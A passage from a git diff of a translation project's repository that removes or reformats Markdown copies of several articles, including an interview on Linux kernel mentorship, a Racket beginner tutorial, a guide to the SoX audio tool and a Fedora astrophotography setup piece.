someday, you and I and others working on these things are going to retire, maybe five or ten years from now. This is a harder problem to solve than training and adding new developers to the project itself. - -**JP:** And that is core to our [software supply chain security mission][24]. It’s one thing to have this new, flashy project, and then all these developers say, “oh wow, this is cool, I want to join that,” but then, you have to have a certain number of people maintaining it for it to have long-term viability. As we learned in our [FOSS study with Harvard][25], there are components in the Linux operating system that are like this. Perhaps even modules within the kernel itself, I assume that maybe you might have only one or two people actively maintaining it for many years. And what happens if that person dies or can no longer work? What happens to that code? And if someone isn’t familiar with that code, it might become abandoned. That’s a serious problem in open source right now, isn’t it? - -**SK:** Right. We have seen that with SSH and other security-critical areas. What if you don’t have the bandwidth to fix it? Or the money to fix it? I ended up volunteering to maintain a tool for a similar reason when the maintainer could no longer contribute regularly. It is true; we have many drivers where maintainer bandwidth is an issue in the kernel. So the question is, how do we grow that talent pool? - -**JP:** Do we need a job board or something? We need X number of maintainers. So should we say, “Hey, we know you want to join the kernel project as a contributor, and we have other people working on this thing, but we really need your help working on something else, and if you do a good job, we know tons of companies willing to hire developers just like you?” - -**SK:** With the kernel, we are talking about organic growth; it is just like any other open source project. It’s not a traditional hire and talent placement scenario. Organically they have to have credibility, and they have to acquire it through experience and relationships with people on those projects. We just talked about it at the previous [Linux Plumbers Conference][26], we do have areas where we really need maintainers, and the [MAINTAINERS][27] file does show areas where they need help. - -To answer your question, it’s not one of those things where we can seek people to fill that role, like LinkedIn or one of the other job sites. It has to be an organic fulfillment of that role, so the mentorship program is essential in creating those relationships. It is the double-edged sword of open source; it is both the strength and weakness. People need to have an interest in becoming a maintainer and also a commitment to being one, long term. - -**JP:** So, what do you see as the future of your mentorship and diversity efforts at the Linux Foundation? What are you particularly excited about that is forthcoming that you are working on? - -**SK:** I view the Linux Foundation mentoring as a three-pronged approach to provide unstructured webinars, training courses, and structured mentoring programs. All of these efforts combine to advance a diverse, healthy, and vibrant open source community. So over the past several months, we have been morphing our speed mentorship style format into an expanded webinar format — the [LF Live Mentorship series][28]. This will have the function of growing our next level of expertise. As a complement to our traditional mentorship programs, these are webinars and courses that are an hour and a half long that we hold a few times a month that tackle specific technical areas in software development. So it might cover how to write great commit logs, for example, for your patches to be accepted, or how to find bugs in C code. Commit logs are one of those things that are important to code maintenance, so promoting good documentation is a beneficial thing. Webinars provide a way for experts short on time to share their knowledge with a few hours of time commitment and offer a self-paced learning opportunity to new developers. - -Additionally, I have started the [Linux Kernel Mentorship forum][29] for developers and their mentors to connect and interact with others participating in the Linux Kernel Mentorship program and graduated mentees to mentor new developers. We kicked off [Linux Kernel mentorship Spring 2021][30] and are planning for Summer and Fall. - -A big challenge is we are short on mentors to be able to scale the structured program. Solving the problem requires help from LF member companies and others to encourage their employees to mentor, “it takes a village,” they say. - -**JP:** So this webinar series and the expanded mentorship program will help developers cultivate both hard and soft skills, then. - -**SK:** Correct. The thing about doing webinars is that if we are talking about this from a diversity perspective, they might not have time for a full-length mentorship, typically like a three-month or six-month commitment. This might help them expand their resources for self-study. When we ask for developers’ feedback about what else they need to learn new skill sets, we hear that they don’t have resources, don’t have time to do self-study, and learn to become open source developers and software maintainers. This webinar series covers general open source software topics such as the Linux kernel and legal issues. It could also cover topics specific to other LF projects such as CNCF, Hyperledger, LF Networking, etc. - -**JP:** Anything else we should know about the mentorship program in 2021? - -**SK:** In my view,  attracting diversity and new people is two-fold. One of the things we are working on is inclusive language. Now, we’re not talking about curbing harsh words, although that is a component of what we are looking at. The English you and I use in North America isn’t the same English used elsewhere. As an example, when we use North American-centric terms in our email communications, such as when a maintainer is communicating on a list with people from South Korea, something like “where the rubber meets the road” may not make sense to them at all. So we have to be aware of that. - -**JP:** I know that you are serving on the [Linux kernel Code of Conduct Committee][31] and actively developing the handbook. When I first joined the Linux Foundation, I learned what the Community Managers do and our governance model. I didn’t realize that we even needed to have codes of conduct for open source projects. I have been covering open source for 25 years, but I come out of the corporate world, such as IBM and Microsoft. Codes of Conduct are typically things that the Human Resources officer shows you during your initial onboarding, as part of reviewing your employee manual. You are expected to follow those rules as a condition of employment. - -So why do we need Codes of Conduct in an open source project? Is it because these are people who are coming from all sorts of different backgrounds, companies, and ways of life, and may not have interacted in this form of organized and distributed project before? Or is it about personalities, people interacting with each other over long distance, and email, which creates situations that may arise due to that separation? - -**SK:** Yes, I come out of the corporate world as well, and of course, we had to practice those codes of conduct in that setting. But conduct situations arise that you have to deal with in the corporate world. There are always interpersonal scenarios that can be difficult or challenging to work with — the corporate world isn’t better than the open source world in that respect. It is just that all of that happens behind a closed setting. - -But there is no accountability in the open source world because everyone participates out of their own free will. So on a small, traditional closed project, inside the corporate world, where you might have 20 people involved, you might get one or two people that could be difficult to work with. The same thing happens and is multiplied many times in the open source community, where you have hundreds of thousands of developers working across many different open source projects. - -The biggest problem with these types of projects when you encounter situations such as this is dealing with participation in public forums. In the corporate world, this can be addressed in private. But on a public mailing list, if you are being put down or talked down to, it can be extremely humiliating. - -These interactions are not always extreme cases; they could be simple as a maintainer or a lead developer providing negative feedback — so how do you give it? It has to be done constructively. And that is true for all of us. - -**JP:** Anything else? - -**SK:** In addition to bringing our learnings and applying this to the kernel project, I am also doing this on the [ELISA][32] project, where I chair the Technical Steering Committee, where I am bridging communication between experts from the kernel and the safety communities. To make sure we can use the kernel the best ways in safety-critical applications, in the automotive and medical industry, and so on. Many lessons can be learned in terms of connecting the dots, defining clearly what is essential to make Linux run effectively in these environments, in terms of dependability. How can we think more proactively instead of being engaged in fire-fighting in terms of security or kernel bugs? As a result of this, I am also working on any necessary kernel changes needed to support these safety-critical usage scenarios. - -**JP:** Before we go, what are you passionate about besides all this software stuff? If you have any free time left, what else do you enjoy doing? - -**SK:** I read a lot. COVID quarantine has given me plenty of opportunities to read. I like to go hiking, snowshoeing, and other outdoor activities. Living in Colorado gives me ample opportunities to be in nature. I also like backpacking — while I wasn’t able to do it last year because of COVID — I like to take backpacking trips with my son. I also love to go to conferences and travel, so I am looking forward to doing that again as soon as we are able. - -Talking about backpacking reminded me of the two-day, 22-mile backpacking trip during the summer of 2019 with my son. You can see me in the picture above at the end of the road, carrying a bearbox, sleeping bag, and hammock. It was worth injuring my foot and hurting in places I didn’t even know I had. - -**JP:** Awesome. I enjoyed talking to you today. So happy I finally got to meet you virtually. - -The post [Interview with Shuah Khan, Kernel Maintainer & Linux Fellow][33] appeared first on [Linux Foundation][34]. - --------------------------------------------------------------------------------- - -via: https://www.linux.com/news/interview-with-shuah-khan-kernel-maintainer-linux-fellow/ - -作者:[The Linux Foundation][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linuxfoundation.org/en/blog/interview-with-shuah-khan-kernel-maintainer-linux-fellow/ -[b]: https://github.com/lujun9972 -[1]: https://www.linux.com/wp-content/uploads/2021/01/3E9C3E02-5F59-4A99-AD4A-814C7B8737A9_1_105_c.jpeg -[2]: https://lfx.linuxfoundation.org/tools/mentorship/ -[3]: https://linuxfoundation.org/about/diversity-inclusivity/mentorship/ -[4]: https://elinux.org/Android_Mainlining_Project -[5]: https://lkml.org/lkml/2012/1/26/368 -[6]: https://www.kernel.org/doc/html/v4.15/dev-tools/kselftest.html -[7]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/usb/usbip -[8]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/tools/usb/usbip -[9]: https://www.systutorials.com/docs/linux/man/1-cpupower/ -[10]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/media/mc/mc-dev-allocator.c -[11]: https://www.linux-magazine.com/Issues/2018/208/Tutorial-USB-IP -[12]: https://en.wikipedia.org/wiki/LynxOS -[13]: http://www.openhpi.org/Developers -[14]: https://www.netflix.com/title/80244565 -[15]: https://en.wikipedia.org/wiki/A_Suitable_Girl_(film) -[16]: https://www.lfph.io/ -[17]: https://lfaidata.foundation/ -[18]: https://openeew.com/ -[19]: https://www.os-climate.org/ -[20]: https://www.lfenergy.org/ -[21]: mailto:sgoodman@contractor.linuxfoundation.org -[22]: https://mentorship.lfx.linuxfoundation.org/ -[23]: https://mentorship.lfx.linuxfoundation.org/project/926665ac-9b96-45aa-bb11-5d99096be870 -[24]: https://www.linuxfoundation.org/en/blog/preventing-supply-chain-attacks-like-solarwinds/ -[25]: https://www.linuxfoundation.org/en/press-release/new-open-source-contributor-report-from-linux-foundation-and-harvard-identifies-motivations-and-opportunities-for-improving-software-security/ -[26]: https://www.linuxplumbersconf.org/ -[27]: https://www.kernel.org/doc/linux/MAINTAINERS -[28]: https://events.linuxfoundation.org/lf-live-mentorship-series/ -[29]: https://forum.linuxfoundation.org/categories/lfx-mentorship-linux-kernel -[30]: https://forum.linuxfoundation.org/discussion/858202/linux-kernel-mentorship-spring-projects-are-now-accepting-applications#latest -[31]: https://www.kernel.org/code-of-conduct.html -[32]: https://elisa.tech/ -[33]: https://www.linuxfoundation.org/en/blog/interview-with-shuah-khan-kernel-maintainer-linux-fellow/ -[34]: https://www.linuxfoundation.org/ diff --git a/sources/tech/20210128 Start programming in Racket by writing a -guess the number- game.md b/sources/tech/20210128 Start programming in Racket by writing a -guess the number- game.md index 4f0bb194a6..7d672783b8 100644 --- a/sources/tech/20210128 Start programming in Racket by writing a -guess the number- game.md +++ b/sources/tech/20210128 Start programming in Racket by writing a -guess the number- game.md @@ -1,21 +1,21 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Start programming in Racket by writing a "guess the number" game) -[#]: via: (https://opensource.com/article/21/1/racket-guess-number) -[#]: author: (Cristiano L. Fontana https://opensource.com/users/cristianofontana) +[#]: subject: "Start programming in Racket by writing a "guess the number" game" +[#]: via: "https://opensource.com/article/21/1/racket-guess-number" +[#]: author: "Cristiano L. Fontana https://opensource.com/users/cristianofontana" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Start programming in Racket by writing a "guess the number" game ====== -Racket is a great way to learn a language from the Scheme and Lisp -families. +Racket is a great way to learn a language from the Scheme and Lisp families. + ![Person using a laptop][1] I am a big advocate of learning multiple programming languages. That's mostly because I tend to get bored with the languages I use the most. It also teaches me new and interesting ways to approach programming. -Writing the same program in multiple languages is a good way to learn their differences and similarities. Previously, I wrote articles showing the same sample data plotting program written in [C & C++][2], JavaScript with [Node.js][3], and [Python and Octave][4]. +Writing the same program in multiple languages is a good way to learn their differences and similarities. Previously, I wrote articles showing the same sample data plotting program written in [C & C++][2], JavaScript with [Node.js][3], and [Python and Octave][4]. This article is part of another series about writing a "guess the number" game in different programming languages. In this game, the computer picks a number between one and 100 and asks you to guess it. The program loops until you make a correct guess. @@ -31,7 +31,6 @@ When I start learning a new language, I usually look for a tutorial that introdu Starting with Racket makes sense because it is very mature and versatile, and the community is very active. Since Racket is a Lisp-like language, a major characteristic is that it uses the [prefix notation][9] and a [lot of parentheses][10]. Functions and operators are applied to a list of operands by prefixing them: - ``` (function-name operand operand ...) @@ -58,15 +57,14 @@ The major Linux distributions offer packaged versions of Racket, so [installatio Here is a version of the "guess the number" program written in Racket: - ``` #lang racket (define (inquire-user number)   (display "Insert a number: ") -  (define guess (string->number (read-line))) -  (cond [(> number guess) (displayln "Too low") (inquire-user number)] -        [(< number guess) (displayln "Too high") (inquire-user number)] +  (define guess (string->number (read-line))) +  (cond [(> number guess) (displayln "Too low") (inquire-user number)] +        [(< number guess) (displayln "Too high") (inquire-user number)]         [else (displayln "Correct!")])) (displayln "Guess a number between 1 and 100") @@ -75,14 +73,12 @@ Here is a version of the "guess the number" program written in Racket: Save this listing to a file called `guess.rkt` and run it: - ``` -`$ racket guess.rkt` +$ racket guess.rkt ``` Here is some example output: - ``` Guess a number between 1 and 100 Insert a number: 90 @@ -111,9 +107,9 @@ Now for the next line. `(define ...)` is used to declare new variables or functi This function recursively calls itself to repeat the question until the user guesses the right number. Note that I am not using loops; I feel that Racket programmers do not like loops and only use recursive functions. This approach is idiomatic to Racket, but if you prefer, [loops are an option][18]. -The first step of the `inquire-user` function asks the user to insert a number by writing that string to the console. Then it defines a variable called `guess` that contains whatever the user entered. The [`read-line` function][19] returns the user input as a string. The string is then converted to a number with the [`string->number` function][20]. After the variable definition, the [`cond` function][21] accepts a series of conditions. If a condition is satisfied, it executes the code inside that condition. These conditions, `(> number guess)` and `(< number guess)`, are followed by two functions: a `displayln` that gives clues to the user and a `inquire-user` call. The function calls itself again when the user does not guess the right number. The `else` clause executes when the two conditions are not met, i.e., the user enters the correct number. The program's guts are this `inquire-user` function. +The first step of the `inquire-user` function asks the user to insert a number by writing that string to the console. Then it defines a variable called `guess` that contains whatever the user entered. The [read-line function][19] returns the user input as a string. The string is then converted to a number with the [string->number function][20]. After the variable definition, the [cond function][21] accepts a series of conditions. If a condition is satisfied, it executes the code inside that condition. These conditions, `(> number guess)` and `(< number guess)`, are followed by two functions: a `displayln` that gives clues to the user and a `inquire-user` call. The function calls itself again when the user does not guess the right number. The `else` clause executes when the two conditions are not met, i.e., the user enters the correct number. The program's guts are this `inquire-user` function. -However, the function still needs to be called! First, the program asks the user to guess a number between 1 and 100, and then it calls the `inquire-user` function with a random number. The random number is generated with the [`random` function][22]. You need to inform the function that you want to generate a number between 1 and 100, but the `random` function generates integer numbers up to `max-1`, so I used 101. +However, the function still needs to be called! First, the program asks the user to guess a number between 1 and 100, and then it calls the `inquire-user` function with a random number. The random number is generated with the [random function][22]. You need to inform the function that you want to generate a number between 1 and 100, but the `random` function generates integer numbers up to `max-1`, so I used 101. ### Try Racket @@ -124,15 +120,15 @@ Learning new languages is fun! I am a big advocate of programming languages poly via: https://opensource.com/article/21/1/racket-guess-number 作者:[Cristiano L. Fontana][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/cristianofontana -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/laptop_screen_desk_work_chat_text.png [2]: https://opensource.com/article/20/2/c-data-science [3]: https://opensource.com/article/20/6/data-science-nodejs [4]: https://opensource.com/article/20/2/python-gnu-octave-data-science diff --git a/sources/tech/20210131 How to teach open source beyond business.md b/sources/tech/20210131 How to teach open source beyond business.md deleted file mode 100644 index f9563e14ff..0000000000 --- a/sources/tech/20210131 How to teach open source beyond business.md +++ /dev/null @@ -1,72 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to teach open source beyond business) -[#]: via: (https://opensource.com/article/21/1/open-source-beyond-business) -[#]: author: (Irit Goihman https://opensource.com/users/iritgoihman) - -How to teach open source beyond business -====== -The Beyond program connects future talents in the tech industry with -open source culture. -![Teacher or learner?][1] - -When I was a university student, I didn't understand the fuss about open source software. I used Linux and open source software but didn't really understand the open source model, how to contribute to projects, or how it could benefit my future career. My development experience consisted mainly of homework assignments and a large final project required for my degree. - -So, when I took my first steps in the tech industry, there was a big learning curve before I felt comfortable. I needed to understand how to join established, sometimes large, and distributed teams working on an ongoing project. I also needed to know how to communicate properly so that my efforts could be recognized. - -I am not special in this regard. This is a common situation among new graduates. - -### Open source gives students a head start - -Since then, as an engineer and later as a manager, I have helped onboard many junior engineers. One of the things I've noticed is that the new graduates who have already contributed to open source projects could onboard quickly and start contributing faster than those without this experience. - -By incorporating open source methodology into academic studies, students can gain experience relevant to the industry, learn to reuse their existing knowledge, and establish a good platform for formulating ideas and sharing knowledge. Practicing open source can make a positive impact on students' technical knowledge and experience. This can help them become more successful in bootstrapping their careers. - -The value of open source methodologies in the tech industry is well-established and shapes the culture of software companies worldwide. Involvement in open source projects and adoption of the [open organization culture][2] has become an industry standard. Companies seek fresh-minded, talented employees who know how to work in open source and cultivate its culture. Therefore, the tech industry must drive the academic world to embrace open source culture as one of the fundamental methodologies to learn in tech studies. - -### Moving open source culture 'Beyond' business - -When I met [Liora Milbaum][3], a senior principal software engineer at Red Hat, I learned we shared an interest in bringing open source culture and principles into academics. Liora had previously founded [DevOps Loft][4], in which she shared DevOps practices with people interested in stepping into this world, and wished to start a similar initiative to teach open source to university students. We decided to launch the [Beyond][5] program to connect future talents in the tech industry with open source culture as Red Hat practices it. - -We started the Beyond program at the [Academic College of Tel Aviv-Yafo][6], where we were warmly welcomed by the information systems faculty. We started by teaching an "Introduction to DevOps'' course to introduce elements of the DevOps tech stack. Our biggest challenge at the start was deciding how to teach what open source is. The answer was simple: by practicing it, of course. We didn't want to deliver yet another old-school academic course; rather, we wanted to expose students to industry standards. - -We created a syllabus that incorporated common open source projects and tools to teach the DevOps stack. The course consisted of lectures and hands-on participation taught by engineers. The students were divided into groups, each one mentored and supported by an engineer. They practiced working in teams, sharing knowledge (both inside and outside of their groups), and collaborating effectively. - -During our second course, "Open source development pillars," for students in the computer science department, we encountered another big obstacle. Two weeks after the course started, we became fully remote as the COVID pandemic hit the globe. We solved this problem by using the same remote collaboration tools with our students that we were using for our daily work at Red Hat. We were amazed at how simple and smooth the transition was. - -![Beyond teaching online][7] - -(Irit Goihman, [CC BY-SA 4.0][8]) - -### Successful early outcomes - -The two courses were a huge success, and we even hired one of the top students we taught. The feedback we received was amazing; the students said we positively impacted their knowledge, thinking, and soft skills. A few students were hired for their first tech job based on their open source contributions during the course. - -Other academic institutions have expressed interest in adopting these courses, so we've expanded the program to another university. - -I am fortunate to co-lead this successful initiative with Liora, accompanied by a team of talented engineers. Together, we are helping increase the open source community a bit more. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/1/open-source-beyond-business - -作者:[Irit Goihman][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/iritgoihman -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/osdc-lead-teacher-learner.png?itok=rMJqBN5G (Teacher or learner?) -[2]: https://opensource.com/open-organization/resources/open-org-definition -[3]: https://www.linkedin.com/in/lioramilbaum -[4]: https://www.devopsloft.io/ -[5]: https://research.redhat.com/blog/2020/05/24/open-source-development-course-and-devops-methodology/ -[6]: https://www.int.mta.ac.il/ -[7]: https://opensource.com/sites/default/files/pictures/beyond_mta.png (Beyond teaching online) -[8]: https://creativecommons.org/licenses/by-sa/4.0/ diff --git a/sources/tech/20210202 Convert audio files with this versatile Linux command.md b/sources/tech/20210202 Convert audio files with this versatile Linux command.md deleted file mode 100644 index 683907b70f..0000000000 --- a/sources/tech/20210202 Convert audio files with this versatile Linux command.md +++ /dev/null @@ -1,240 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Convert audio files with this versatile Linux command) -[#]: via: (https://opensource.com/article/20/2/linux-sox) -[#]: author: (Klaatu https://opensource.com/users/klaatu) - -Convert audio files with this versatile Linux command -====== -SoX Sound Exchange can even add effects to your audio files. -![HiFi vintage stereo][1] - -I work with media, and when you work with any kind of media, you learn pretty quickly that standardization is a valuable tool. Just as you wouldn't try to add a fraction to a decimal without converting one or the other, I've learned that it's not ideal to combine media of differing formats. Most hobbyist-level applications make the conversion process invisible to the user as a convenience. Flexible software aimed at users needing control over the fine details of their assets, however, often leave it up to you to convert your media to your desired format in advance. I have a few favorite tools for conversion, and one of those is the so-called _Swiss army knife of sound_, [SoX][2]. - -### Installing - -On Linux or BSD, you can install the **sox** command (and some helpful symlinks) from your software repository or ports tree. - -You can also install SoX from its home on [Sourceforge.net][3]. It doesn't release often, but its codebase tends to be stable, so if you want the latest features (such as Opus support), it's easy and safe to build. - -SoX provides primarily the **sox** command, but installation also creates a few useful symlinks: **play**, **rec**, and **soxi**. - -### Getting information about files with SoX - -SoX reads and rewrites audio data. Whether it stores the rewritten audio data is up to you. There are use cases in which you don't need to store the converted data, for instance, when you're sending the output directly to your speakers for playback. Before doing any conversion, however, it's usually a good idea to determine exactly what you're dealing with in the first place. - -To gather information about an audio file, use the **soxi** command. This is a symlink to **sox --info**. - - -``` -$ soxi countdown.mp3 -Input File     : '/home/tux/countdown.mp3' -Channels       : 1 -Sample Rate    : 44100 -Precision      : 16-bit -Duration       : 00:00:11.21 = 494185 samples... -File Size      : 179k -Bit Rate       : 128k -Sample Encoding: MPEG audio (layer I, II or III) -``` - -This output gives you a good idea of what codec the audio file is encoded in, the file length, file size, sample rate, and the number of channels. Some of these you might _think_ you already know, but I never trust assumptions when media is brought to me by a client. Verify media attributes with **soxi**. - -### Converting files - -In this example, the audio of a game show countdown has been delivered as an MP3 file. While nearly all editing applications accept compressed audio, none of them actually edit the compressed data. Conversion is happening somewhere, whether it's a secret background task or a prompt for you to save a copy. I generally prefer to do the conversion myself, in advance. This way, I can control what format I'm using. I can do lots of media in batches overnight instead of wasting valuable production time waiting for an editing application to churn through them on demand. - -The **sox** command is meant for converting audio files. There are a few stages in the **sox** pipeline: - - * input - * combine - * effects - * output - - - -In command syntax, the effects step is, confusingly, written _last_. That means the pipeline is composed this way: - - -``` -`input → combine → output → effects` -``` - -### Encoding - -The simplest conversion command involves only an input file and an output file. Here's the command to convert an MP3 file to a lossless FLAC file: - - -``` -$ sox countdown.mp3 output.flac -$ soxi output.flac - -Input File     : 'output.flac' -Channels       : 1 -Sample Rate    : 44100 -Precision      : 16-bit -Duration       : 00:00:11.18 = 493056 samples... -File Size      : 545k -Bit Rate       : 390k -Sample Encoding: 16-bit FLAC -Comment        : 'Comment=Processed by SoX' -``` - -#### Effects - -The effects chain is specified at the end of a command. It can alter audio prior to sending the data to its final destination. For instance, sometimes audio that's too loud can cause problems during conversion: - - -``` -$ sox bad.wav bad.ogg -sox WARN sox: `bad.ogg' output clipped 126 samples; decrease volume? -``` - -Applying a **gain** effect can often solve this problem: - - -``` -`$ sox bad.wav bad.ogg gain -1` -``` - -#### Fade - -Another useful effect is **fade**. This effect lets you define the shape of a fade-in or fade-out, along with how many seconds you want the fade to span. - -Here's an example of a six-second fade-in using an inverted parabola: - - -``` -`$ sox intro.ogg intro.flac fade p 6` -``` - -This applies a three-second fade-in to the head of the audio and a fade-out starting at the eight-second mark (the intro music is only 11 seconds, so the fade-out is also three-seconds in this case): - - -``` -`$ sox intro.ogg intro.flac fade p 3 8` -``` - -The different kinds of fades (sine, linear, inverted parabola, and so on), as well as the options **fade** offers (fade-in, fade-out), are listed in the **sox** man page. - -#### Effect syntax - -Each effect plugin has its own syntax, so refer to the man page for details on how to invoke each one. - -Effects can be daisy-chained in one command, at least to the extent that you want to combine them. In other words, there's no syntax to apply a **flanger** effect only during a six-second fade-out. For something that precise, you need a graphical sound wave editor or a digital audio workstation such as [LMMS][4] or [Rosegarden][5]. However, if you just have effects that you want to apply once, you can list them together in the same command. - -This command applies a -1 **gain** effect, a tempo **stretch** of 1.35, and a **fade-out**: - - -``` -$ sox intro.ogg output.flac gain -1 stretch 1.35 fade p 0 6 -$ soxi output.flac - -Input File     : 'output.flac' -Channels       : 1 -Sample Rate    : 44100 -Precision      : 16-bit -Duration       : 00:00:15.10 = 665808 samples... -File Size      : 712k -Bit Rate       : 377k -Sample Encoding: 16-bit FLAC -Comment        : 'Comment=Processed by SoX' -``` - -### Combining audio - -SoX can also combine audio files, either by concatenating them or by mixing them. - -To join (or _concatenate_) files into one, provide more than one input file in your command: - - -``` -`$ sox countdown.mp3 intro.ogg output.flac` -``` - -In this example, **output.flac** now contains **countdown** audio, followed immediately by **intro** music. - -If you want the two tracks to play over one another at the same time, though, you can use the **\--combine mix** option: - - -``` -`$ sox --combine mix countdown.mp3 intro.ogg output.flac` -``` - -Imagine, however, that the two input files differed in more than just their codecs. It's not uncommon for vocal tracks to be recorded in mono (one channel), but for music to be recorded in at least stereo (two channels). SoX won't default to a solution, so you have to standardize the format of the two files yourself first. - -#### Altering audio files - -Options related to the file name listed _after_ it. For instance, the **\--channels** option in this command applies _only_ to **input.wav** and NOT to **example.ogg** or **output.flac**: - - -``` -`$ sox --channels 2 input.wav example.ogg output.flac` -``` - -This means that the position of an option is very significant in SoX. Should you specify an option at the start of your command, you're essentially only overriding what SoX gleans from the input files on its own. Options placed immediately before the _output_ file, however, determine how SoX writes the audio data. - -To solve the previous problem of incompatible channels, you can first standardize your inputs, and then mix: - - -``` -$ sox countdown.mp3 --channels 2 countdown-stereo.flac gain -1 -$ soxi countdown-stereo.flac - -Input File     : 'countdown-stereo.flac' -Channels       : 2 -Sample Rate    : 44100 -Precision      : 16-bit -Duration       : 00:00:11.18 = 493056 samples... -File Size      : 545k -Bit Rate       : 390k -Sample Encoding: 16-bit FLAC -Comment        : 'Comment=Processed by SoX' - -$ sox --combine mix \ -countdown-stereo.flac \ -intro.ogg \ -output.flac -``` - -SoX absolutely requires multiple commands for complex actions, so it's normal to create several temporary and intermediate files as needed. - -### Multichannel audio - -Not all audio is constrained to one or two channels, of course. If you want to combine several audio channels into one file, you can do that with SoX and the **\--combine merge** option: - - -``` -$ sox --combine merge countdown.mp3 intro.ogg output.flac -$ soxi output.flac - -Input File     : 'output.flac' -Channels       : 3 -[...] -``` - -### Easy audio manipulation - -It might seem strange to work with audio using no visual interface, and for some tasks, SoX definitely isn't the best tool. However, for many tasks, SoX provides an easy and lightweight toolkit. SoX is a simple command with powerful potential. With it, you can convert audio, manipulate channels and waveforms, and even generate your own sounds. This article has only provided a brief overview of its capabilities, so go read its man page or [online documentation][2] and then see what you can create. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/linux-sox - -作者:[Klaatu][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/klaatu -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/hi-fi-stereo-vintage.png?itok=KYY3YQwE (HiFi vintage stereo) -[2]: http://sox.sourceforge.net/sox.html -[3]: http://sox.sourceforge.net -[4]: https://opensource.com/life/16/2/linux-multimedia-studio -[5]: https://opensource.com/article/18/3/make-sweet-music-digital-audio-workstation-rosegarden diff --git a/sources/tech/20210203 Defining boundaries and interfaces in software development.md b/sources/tech/20210203 Defining boundaries and interfaces in software development.md index 6f3e540da8..47f72b8d66 100644 --- a/sources/tech/20210203 Defining boundaries and interfaces in software development.md +++ b/sources/tech/20210203 Defining boundaries and interfaces in software development.md @@ -92,7 +92,7 @@ The system is trying to remove an item that does not exist in the basket, and it ``` public int RemoveItem(Hashtable item) { -        if(basket.IndexOf(item) >= 0) { +        if(basket.IndexOf(item) >= 0) {                 basket.RemoveAt(basket.IndexOf(item));         }         return basket.Count; diff --git a/sources/tech/20210204 How to implement business requirements in software development.md b/sources/tech/20210204 How to implement business requirements in software development.md index 1527f6babe..38845d0cb4 100644 --- a/sources/tech/20210204 How to implement business requirements in software development.md +++ b/sources/tech/20210204 How to implement business requirements in software development.md @@ -86,7 +86,7 @@ Implement this processing logic in the `ShippingAPI` class: ``` private double Calculate10PercentDiscount(double total) {         double discount = 0.00; -        if(total > 500.00) { +        if(total > 500.00) {                 discount = (total/100) * 10;         }         return discount; diff --git a/sources/tech/20210205 Astrophotography with Fedora Astronomy Lab- setting up.md b/sources/tech/20210205 Astrophotography with Fedora Astronomy Lab- setting up.md index 7077d9544b..78d855c76b 100644 --- a/sources/tech/20210205 Astrophotography with Fedora Astronomy Lab- setting up.md +++ b/sources/tech/20210205 Astrophotography with Fedora Astronomy Lab- setting up.md @@ -1,11 +1,11 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Astrophotography with Fedora Astronomy Lab: setting up) -[#]: via: (https://fedoramagazine.org/astrophotography-with-fedora-astronomy-lab-setting-up/) -[#]: author: (Geoffrey Marr https://fedoramagazine.org/author/coremodule/) +[#]: subject: "Astrophotography with Fedora Astronomy Lab: setting up" +[#]: via: "https://fedoramagazine.org/astrophotography-with-fedora-astronomy-lab-setting-up/" +[#]: author: "Geoffrey Marr https://fedoramagazine.org/author/coremodule/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Astrophotography with Fedora Astronomy Lab: setting up ====== @@ -28,21 +28,15 @@ Download Fedora Astronomy Lab from the [Fedora Labs website][4]. You will need a Before you can go capturing the heavens, you need to do some minor setup in Fedora Astronomy Lab. -First of all, you need to add your user to the _dialout_ group so that you can access certain pieces of astronomical equipment from within the guiding software. Do that by opening the terminal (Konsole) and running this command (replacing _user_ with your username): +First of all, you need to add your user to the *dialout* group so that you can access certain pieces of astronomical equipment from within the guiding software. Do that by opening the terminal (Konsole) and running this command (replacing *user* with your username): -sudo usermod -a -G dialout user - -My personal setup includes a guide camera (QHY5 series, also known as Orion Starshoot) that does not have a driver in the mainline Fedora repositories. To enable it, 